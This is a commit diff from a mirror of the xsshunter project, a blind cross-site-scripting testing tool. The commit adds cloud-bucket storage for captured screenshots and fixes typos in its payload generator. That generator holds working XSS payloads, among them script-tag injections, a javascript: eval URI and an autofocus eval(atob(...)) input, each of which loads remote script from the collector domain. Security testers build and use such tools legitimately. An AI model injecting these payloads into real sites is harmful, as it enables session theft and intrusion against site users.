mirror of
https://github.com/trufflesecurity/xsshunter
synced 2024-11-10 06:44:13 +00:00
commit
f97ed07d09
5 changed files with 95 additions and 43 deletions
53
api.js
53
api.js
|
@ -1,4 +1,5 @@
|
|||
const bcrypt = require('bcrypt');
|
||||
const { Storage } = require('@google-cloud/storage');
|
||||
const express = require('express');
|
||||
const cors = require('cors');
|
||||
const path = require('path');
|
||||
|
@ -24,6 +25,8 @@ const {OAuth2Client} = require('google-auth-library');
|
|||
|
||||
const SCREENSHOTS_DIR = path.resolve(process.env.SCREENSHOTS_DIR);
|
||||
const client = new OAuth2Client(process.env.CLIENT_ID, process.env.CLIENT_SECRET, `https://${process.env.HOSTNAME}/oauth-login`);
|
||||
const SCREENSHOT_FILENAME_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}\.png$/i);
|
||||
|
||||
|
||||
var sessions_middleware = false;
|
||||
var sessions_settings_object = {
|
||||
|
@ -114,6 +117,7 @@ async function set_up_api_server(app) {
|
|||
constants.API_BASE_PATH + 'settings',
|
||||
constants.API_BASE_PATH + 'xss-uri',
|
||||
constants.API_BASE_PATH + 'user-path',
|
||||
'/screenshots/'
|
||||
|
||||
];
|
||||
|
||||
|
@ -181,6 +185,55 @@ async function set_up_api_server(app) {
|
|||
}
|
||||
});
|
||||
|
||||
app.get('/screenshots/:screenshotFilename', async (req, res) => {
|
||||
const screenshot_filename = req.params.screenshotFilename;
|
||||
|
||||
// Come correct or don't come at all.
|
||||
if(!SCREENSHOT_FILENAME_REGEX.test(screenshot_filename)) {
|
||||
return res.sendStatus(404);
|
||||
}
|
||||
|
||||
const gz_image_path = `${SCREENSHOTS_DIR}/${screenshot_filename}.gz`;
|
||||
|
||||
if (process.env.USE_CLOUD_STORAGE == "true"){
|
||||
const storage = new Storage();
|
||||
|
||||
const bucket = storage.bucket(process.env.BUCKET_NAME);
|
||||
|
||||
const file = bucket.file(gz_image_path);
|
||||
try {
|
||||
// Download the gzipped image
|
||||
const [image] = await file.download();
|
||||
// Send the gzipped image in the response
|
||||
res.set('Content-Encoding', 'gzip');
|
||||
res.set('Content-Type', 'image/png');
|
||||
res.send(image);
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
res.status(404).send(`Error retrieving image from GCS`);
|
||||
}
|
||||
}else{
|
||||
const image_exists = await check_file_exists(gz_image_path);
|
||||
|
||||
if(!image_exists) {
|
||||
return res.sendStatus(404);
|
||||
}
|
||||
|
||||
// Return the gzipped image file with the appropriate
|
||||
// Content-Encoding header, should be widely supported.
|
||||
res.sendFile(gz_image_path, {
|
||||
// Why leak anything you don't have to?
|
||||
lastModified: false,
|
||||
acceptRanges: false,
|
||||
cacheControl: true,
|
||||
headers: {
|
||||
"Content-Type": "image/png",
|
||||
"Content-Encoding": "gzip"
|
||||
}
|
||||
})
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Serve the front-end
|
||||
app.use('/app/', express.static(
|
||||
|
|
78
app.js
78
app.js
|
@ -1,4 +1,5 @@
|
|||
const bodyParser = require('body-parser');
|
||||
const { Storage } = require('@google-cloud/storage');
|
||||
const express = require('express');
|
||||
const fs = require('fs');
|
||||
const zlib = require('zlib');
|
||||
|
@ -209,20 +210,45 @@ async function get_app_server() {
|
|||
const gzip = zlib.createGzip();
|
||||
const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
|
||||
const input_read_stream = fs.createReadStream(multer_temp_image_path);
|
||||
|
||||
// When the "finish" event is called we delete the original
|
||||
// uncompressed image file left behind by multer.
|
||||
input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
|
||||
if(error) {
|
||||
console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
|
||||
console.error(error);
|
||||
}
|
||||
if (process.env.USE_CLOUD_STORAGE == "true"){
|
||||
const storage = new Storage();
|
||||
//creating a bucket instance
|
||||
const bucket = storage.bucket(process.env.BUCKET_NAME);
|
||||
//compressing the file using gzip
|
||||
const gzip = zlib.createGzip();
|
||||
const gzipTempFileName = multer_temp_image_path + ".gz";
|
||||
const tempFileWriteStream = fs.createWriteStream(gzipTempFileName);
|
||||
input_read_stream.pipe(gzip).pipe(tempFileWriteStream);
|
||||
// Wait for the file to be finished writing
|
||||
await new Promise((resolve, reject) => {
|
||||
tempFileWriteStream.on('finish', resolve);
|
||||
tempFileWriteStream.on('error', reject);
|
||||
});
|
||||
//uploading the gzipped file to GCS
|
||||
await bucket.upload(gzipTempFileName, {
|
||||
gzip: true,
|
||||
destination: payload_fire_image_filename,
|
||||
metadata: {
|
||||
cacheControl: 'public, max-age=31536000',
|
||||
},
|
||||
});
|
||||
console.log(`${payload_fire_image_filename} has been uploaded to GCS.`);
|
||||
await asyncfs.unlink(multer_temp_image_path);
|
||||
await asyncfs.unlink(gzipTempFileName);
|
||||
}else{
|
||||
input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
|
||||
if(error) {
|
||||
console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
|
||||
console.error(error);
|
||||
}
|
||||
|
||||
console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
|
||||
|
||||
await asyncfs.unlink(multer_temp_image_path);
|
||||
});
|
||||
console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
|
||||
|
||||
await asyncfs.unlink(multer_temp_image_path);
|
||||
});
|
||||
}
|
||||
const payload_fire_id = uuid.v4();
|
||||
var payload_fire_data = {
|
||||
id: payload_fire_id,
|
||||
|
@ -263,37 +289,7 @@ async function get_app_server() {
|
|||
}
|
||||
});
|
||||
|
||||
app.get('/screenshots/:screenshotFilename', async (req, res) => {
|
||||
const screenshot_filename = req.params.screenshotFilename;
|
||||
|
||||
// Come correct or don't come at all.
|
||||
if(!SCREENSHOT_FILENAME_REGEX.test(screenshot_filename)) {
|
||||
return res.sendStatus(404);
|
||||
}
|
||||
|
||||
const gz_image_path = `${SCREENSHOTS_DIR}/${screenshot_filename}.gz`;
|
||||
|
||||
const image_exists = await check_file_exists(gz_image_path);
|
||||
|
||||
if(!image_exists) {
|
||||
return res.sendStatus(404);
|
||||
}
|
||||
|
||||
// Return the gzipped image file with the appropriate
|
||||
// Content-Encoding header, should be widely supported.
|
||||
res.sendFile(gz_image_path, {
|
||||
// Why leak anything you don't have to?
|
||||
lastModified: false,
|
||||
acceptRanges: false,
|
||||
cacheControl: true,
|
||||
headers: {
|
||||
"Content-Type": "image/png",
|
||||
"Content-Encoding": "gzip"
|
||||
}
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
|
||||
// Set up /health handler so the user can
|
||||
// do uptime checks and appropriate alerting.
|
||||
app.get('/health', async (req, res) => {
|
||||
|
|
|
@ -48,6 +48,8 @@ services:
|
|||
- DATABASE_PASSWORD=xsshunterexpress
|
||||
- DATABASE_HOST=postgresdb
|
||||
- NODE_ENV=production
|
||||
- USE_CLOUD_STORAGE=true
|
||||
- BUCKET_NAME=YourBucket
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
|
|
|
@ -85,10 +85,10 @@ export default {
|
|||
return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);';
|
||||
},
|
||||
basic_script: function() {
|
||||
return "\"><script src=\"https//" + this.base_domain + "\"><\/script>";
|
||||
return "\"><script src=\"https://" + this.base_domain + "\"><\/script>";
|
||||
},
|
||||
javascript_uri: function() {
|
||||
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https//" + this.base_domain + "\\';document.body.appendChild(a)')";
|
||||
return "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://" + this.base_domain + "\\';document.body.appendChild(a)')";
|
||||
},
|
||||
input_onfocus: function() {
|
||||
return "\"><input onfocus=eval(atob(this.id)) id=" + html_encode(urlsafe_base64_encode(this.js_attrib())) + " autofocus>";
|
||||
|
|
|
@ -14,6 +14,7 @@
|
|||
"@nvanexan/node-client-sessions": "^0.8.0",
|
||||
"bcrypt": "^5.0.1",
|
||||
"cors": "^2.8.5",
|
||||
"@google-cloud/storage": "^6.9.0",
|
||||
"express": "^4.17.1",
|
||||
"express-jsonschema": "^1.1.6",
|
||||
"greenlock-express": "^4.0.3",
|
||||
|
|
Loading…
Reference in a new issue